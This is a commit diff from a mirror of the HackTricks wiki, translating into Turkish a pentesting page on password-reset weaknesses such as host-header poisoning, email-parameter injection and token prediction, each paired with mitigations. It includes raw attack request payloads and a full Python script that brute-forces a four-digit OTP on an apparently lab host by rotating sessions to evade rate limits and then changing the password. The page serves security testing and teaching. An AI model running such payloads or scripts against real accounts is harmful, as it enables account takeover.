mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/reset-password.md'] to tr
This commit is contained in:
parent
deb7f973cc
commit
ebe5a61b4f
@ -6,7 +6,7 @@
|
||||
|
||||
- HTTP referer başlığı, URL'de yer alıyorsa şifre sıfırlama tokenini sızdırabilir. Bu, bir kullanıcının şifre sıfırlama talep ettikten sonra üçüncü taraf bir web sitesi bağlantısına tıklaması durumunda gerçekleşebilir.
|
||||
- **Etkisi**: Cross-Site Request Forgery (CSRF) saldırıları aracılığıyla potansiyel hesap ele geçirme.
|
||||
- **Sömürü**: Referer başlığında bir şifre sıfırlama tokeninin sızıp sızmadığını kontrol etmek için, **şifre sıfırlama talebi** yapın ve sağlanan **sıfırlama bağlantısına** tıklayın. **Şifrenizi hemen değiştirmeyin**. Bunun yerine, **Burp Suite kullanarak istekleri yakalarken** **üçüncü taraf bir web sitesine** (Facebook veya Twitter gibi) gidin. **Referer başlığının şifre sıfırlama tokenini içerip içermediğini** görmek için istekleri inceleyin, çünkü bu üçüncü taraflara hassas bilgileri açığa çıkarabilir.
|
||||
- **Sömürü**: Bir şifre sıfırlama tokeninin referer başlığında sızıp sızmadığını kontrol etmek için, **şifre sıfırlama talebi** yapın ve sağlanan **sıfırlama bağlantısına** tıklayın. **Şifrenizi hemen değiştirmeyin**. Bunun yerine, **Burp Suite kullanarak istekleri yakalarken** **üçüncü taraf bir web sitesine** (Facebook veya Twitter gibi) gidin. **Referer başlığının şifre sıfırlama tokenini içerip içermediğini** görmek için istekleri inceleyin, çünkü bu, hassas bilgilerin üçüncü taraflara ifşa olmasına neden olabilir.
|
||||
- **Referanslar**:
|
||||
- [HackerOne Raporu 342693](https://hackerone.com/reports/342693)
|
||||
- [HackerOne Raporu 272379](https://hackerone.com/reports/272379)
|
||||
@ -15,19 +15,19 @@
|
||||
## **Şifre Sıfırlama Zehirleme**
|
||||
|
||||
- Saldırganlar, şifre sıfırlama talepleri sırasında Host başlığını manipüle ederek sıfırlama bağlantısını kötü niyetli bir siteye yönlendirebilir.
|
||||
- **Etkisi**: Sıfırlama tokenlerini saldırganlara sızdırarak potansiyel hesap ele geçirmeye yol açar.
|
||||
- **Hafifletme Adımları**:
|
||||
- **Etkisi**: Sıfırlama tokenlerinin saldırganlara sızdırılması yoluyla potansiyel hesap ele geçirme.
|
||||
- **Azaltma Adımları**:
|
||||
- Host başlığını izin verilen alanların beyaz listesi ile doğrulayın.
|
||||
- Kesin URL'ler oluşturmak için güvenli, sunucu tarafı yöntemleri kullanın.
|
||||
- **Yaman**: `$_SERVER['SERVER_NAME']` kullanarak şifre sıfırlama URL'lerini oluşturun, `$_SERVER['HTTP_HOST']` yerine.
|
||||
- **Referanslar**:
|
||||
- [Acunetix Şifre Sıfırlama Zehirleme Makalesi](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
- [Şifre Sıfırlama Zehirleme Üzerine Acunetix Makalesi](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
|
||||
## **E-posta Parametresini Manipüle Ederek Şifre Sıfırlama**
|
||||
|
||||
Saldırganlar, sıfırlama bağlantısını yönlendirmek için ek e-posta parametreleri ekleyerek şifre sıfırlama talebini manipüle edebilir.
|
||||
Saldırganlar, sıfırlama bağlantısını saptırmak için ek e-posta parametreleri ekleyerek şifre sıfırlama talebini manipüle edebilir.
|
||||
|
||||
- Saldırgan e-posta adresini ikinci parametre olarak & kullanarak ekleyin.
|
||||
- Saldırgan e-posta adresini ikinci parametre olarak & ile ekleyin.
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
@ -39,13 +39,13 @@ POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com%20email=attacker@email.com
|
||||
```
|
||||
- Saldırgan e-posta adresini ikinci parametre olarak | kullanarak ekleyin
|
||||
- Saldırgan e-posta adresini ikinci parametre olarak | kullanarak ekleyin.
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com|email=attacker@email.com
|
||||
```
|
||||
- Saldırgan e-posta adresini ikinci parametre olarak cc kullanarak ekleyin
|
||||
- Saldırgan e-posta adresini ikinci parametre olarak cc kullanarak ekleyin.
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
@ -86,7 +86,7 @@ POST /api/changepass
|
||||
("form": {"email":"victim@email.tld","password":"12345678"})
|
||||
```
|
||||
- **Azaltma Adımları**:
|
||||
- Katı parametre doğrulaması ve kimlik doğrulama kontrolleri sağlanmalıdır.
|
||||
- Sıkı parametre doğrulaması ve kimlik doğrulama kontrolleri sağlanmalıdır.
|
||||
- Şüpheli etkinlikleri tespit etmek ve yanıt vermek için sağlam günlükleme ve izleme uygulayın.
|
||||
- **Referans**:
|
||||
- [API Parametre Manipülasyonu ile Tam Hesap Ele Geçirme](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
@ -100,11 +100,11 @@ POST /api/changepass
|
||||
- **Referanslar**:
|
||||
- [HackerOne Raporu 280534](https://hackerone.com/reports/280534)
|
||||
|
||||
## **Şifre Sıfırlama Token'ının Nasıl Üretildiğini Bulma**
|
||||
## **Şifre Sıfırlama Token'ının Nasıl Üretildiğini Bulun**
|
||||
|
||||
- Token üretimi arkasındaki desen veya yöntemi anlamak, token'ları tahmin etmeye veya brute-force yapmaya yol açabilir. Bazı seçenekler:
|
||||
- Zaman Damgasına Dayalı
|
||||
- Kullanıcı Kimliğine Dayalı
|
||||
- Kullanıcı ID'sine Dayalı
|
||||
- Kullanıcının E-posta Adresine Dayalı
|
||||
- Ad ve Soyadına Dayalı
|
||||
- Doğum Tarihine Dayalı
|
||||
@ -126,12 +126,12 @@ uuid-insecurities.md
|
||||
- Rastgelelik için GUID sürüm 4 kullanın veya diğer sürümler için ek güvenlik önlemleri uygulayın.
|
||||
- **Araçlar**: GUID'leri analiz etmek ve oluşturmak için [guidtool](https://github.com/intruder-io/guidtool) kullanın.
|
||||
|
||||
## **Yanıt Manipülasyonu: Kötü Yanıtı İyi ile Değiştirme**
|
||||
## **Yanıt Manipülasyonu: Kötü Yanıtı İyi Olanla Değiştir**
|
||||
|
||||
- Hata mesajlarını veya kısıtlamaları aşmak için HTTP yanıtlarını manipüle etme.
|
||||
- **Azaltma Adımları**:
|
||||
- Yanıt bütünlüğünü sağlamak için sunucu tarafı kontrolleri uygulayın.
|
||||
- Adam ortası saldırılarını önlemek için HTTPS gibi güvenli iletişim kanalları kullanın.
|
||||
- Man-in-the-middle saldırılarını önlemek için HTTPS gibi güvenli iletişim kanalları kullanın.
|
||||
- **Referans**:
|
||||
- [Canlı Hata Ödül Etkinliğinde Kritik Hata](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
|
||||
@ -139,32 +139,96 @@ uuid-insecurities.md
|
||||
|
||||
- Süresi dolmuş token'ların hala şifre sıfırlama için kullanılıp kullanılamayacağını test etme.
|
||||
- **Azaltma Adımları**:
|
||||
- Katı token süresi dolma politikaları uygulayın ve token süresini sunucu tarafında doğrulayın.
|
||||
- Sıkı token süresi dolma politikaları uygulayın ve token süresini sunucu tarafında doğrulayın.
|
||||
|
||||
## **Brute Force Şifre Sıfırlama Token'ı**
|
||||
|
||||
- IP tabanlı hız sınırlamalarını aşmak için Burpsuite ve IP-Rotator gibi araçlar kullanarak sıfırlama token'ını brute-force yapma.
|
||||
- IP tabanlı hız sınırlamalarını aşmak için Burpsuite ve IP-Rotator gibi araçlar kullanarak sıfırlama token'ını brute-force yapma girişimi.
|
||||
- **Azaltma Adımları**:
|
||||
- Sağlam hız sınırlama ve hesap kilitleme mekanizmaları uygulayın.
|
||||
- Brute-force saldırılarını gösteren şüpheli etkinlikleri izleyin.
|
||||
|
||||
## **Token'ınızı Kullanmayı Deneyin**
|
||||
|
||||
- Bir saldırganın sıfırlama token'ının mağdurun e-posta adresi ile birlikte kullanılıp kullanılamayacağını test etme.
|
||||
- Saldırganın sıfırlama token'ının mağdurun e-posta adresi ile birlikte kullanılıp kullanılamayacağını test etme.
|
||||
- **Azaltma Adımları**:
|
||||
- Token'ların kullanıcı oturumu veya diğer kullanıcıya özgü özelliklere bağlı olduğundan emin olun.
|
||||
|
||||
## **Oturum Geçersiz Kılma: Çıkış/Yeni Şifre Sıfırlama**
|
||||
|
||||
- Kullanıcı çıkış yaptığında veya şifresini sıfırladığında oturumların geçersiz kılındığından emin olma.
|
||||
- Kullanıcı çıkış yaptığında veya şifresini sıfırladığında oturumların geçersiz kılındığından emin olun.
|
||||
- **Azaltma Adımları**:
|
||||
- Tüm oturumların çıkış veya şifre sıfırlama sırasında geçersiz kılındığından emin olmak için uygun oturum yönetimi uygulayın.
|
||||
|
||||
## **Oturum Geçersiz Kılma: Çıkış/Yeni Şifre Sıfırlama**
|
||||
|
||||
- Sıfırlama token'larının geçersiz hale geldiği bir süresi olmalıdır.
|
||||
- Sıfırlama token'larının geçersiz hale geleceği bir son kullanma süresi olmalıdır.
|
||||
- **Azaltma Adımları**:
|
||||
- Sıfırlama token'ları için makul bir süre belirleyin ve bunu sunucu tarafında sıkı bir şekilde uygulayın.
|
||||
- Sıfırlama token'ları için makul bir son kullanma süresi belirleyin ve bunu sunucu tarafında sıkı bir şekilde uygulayın.
|
||||
|
||||
## **Oturumunuzu Değiştirerek OTP Hız Sınırını Aşma**
|
||||
|
||||
- Web sitesi, yanlış OTP denemelerini izlemek için kullanıcı oturumunu kullanıyorsa ve OTP zayıfsa (<= 4 haneli), OTP'yi etkili bir şekilde brute-force yapabiliriz.
|
||||
- **istismar**:
|
||||
- Sunucu tarafından engellendikten sonra yeni bir oturum token'ı talep edin.
|
||||
- **Örnek** kod, bu hatayı rastgele OTP tahmin ederek istismar eder (oturumu değiştirdiğinizde OTP de değişecektir, bu nedenle sıralı bir şekilde brute-force yapamayacağız!):
|
||||
|
||||
``` python
|
||||
# Şifre sıfırlama ile kimlik doğrulama atlatma
|
||||
# coderMohammed tarafından
|
||||
import requests
|
||||
import random
|
||||
from time import sleep
|
||||
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
|
||||
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
|
||||
}
|
||||
url = "http://10.10.12.231:1337/reset_password.php"
|
||||
logout = "http://10.10.12.231:1337/logout.php"
|
||||
root = "http://10.10.12.231:1337/"
|
||||
|
||||
parms = dict()
|
||||
ter = 0
|
||||
phpsessid = ""
|
||||
|
||||
print("[+] Saldırı başlatılıyor!")
|
||||
sleep(3)
|
||||
print("[+] Bu işlemin tamamlanması yaklaşık 5 dakika sürebilir!")
|
||||
|
||||
try:
|
||||
while True:
|
||||
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # 0 - 9999 arası rastgele sayı
|
||||
parms["s"] = 164 # önemsiz, sadece ön yüzü etkiler
|
||||
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
if ter == 8: # deneme sayısını takip et
|
||||
out = requests.get(logout,headers=headers) # çıkış yap
|
||||
mainp = requests.get(root) # başka bir phpssid (token) alır
|
||||
|
||||
cookies = out.cookies # oturum kimliğini çıkar
|
||||
phpsessid = cookies.get('PHPSESSID')
|
||||
headers["cookies"]=f"PHPSESSID={phpsessid}" # yeni oturum ile başlıkları güncelle
|
||||
|
||||
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # şifreyi değiştirmek için e-posta gönderir
|
||||
ter = 0 # 8 denemeden sonra yeni bir oturum almak için ter'i sıfırla
|
||||
else:
|
||||
ter += 1
|
||||
if(len(res.text) == 2292): # kurtarma kodunu doğru aldığınızda sayfanın uzunluğu (test ile elde edildi)
|
||||
print(len(res.text)) # hata ayıklama bilgisi
|
||||
print(phpsessid)
|
||||
|
||||
reset_data = { # burada şifreyi yeni bir şeyle değiştireceğiz
|
||||
"new_password": "D37djkamd!",
|
||||
"confirm_password": "D37djkamd!"
|
||||
}
|
||||
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
print("[+] Şifre şu şekilde değiştirildi:D37djkamd!")
|
||||
break
|
||||
except Exception as e:
|
||||
print("[+] Saldırı durduruldu")
|
||||
```
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user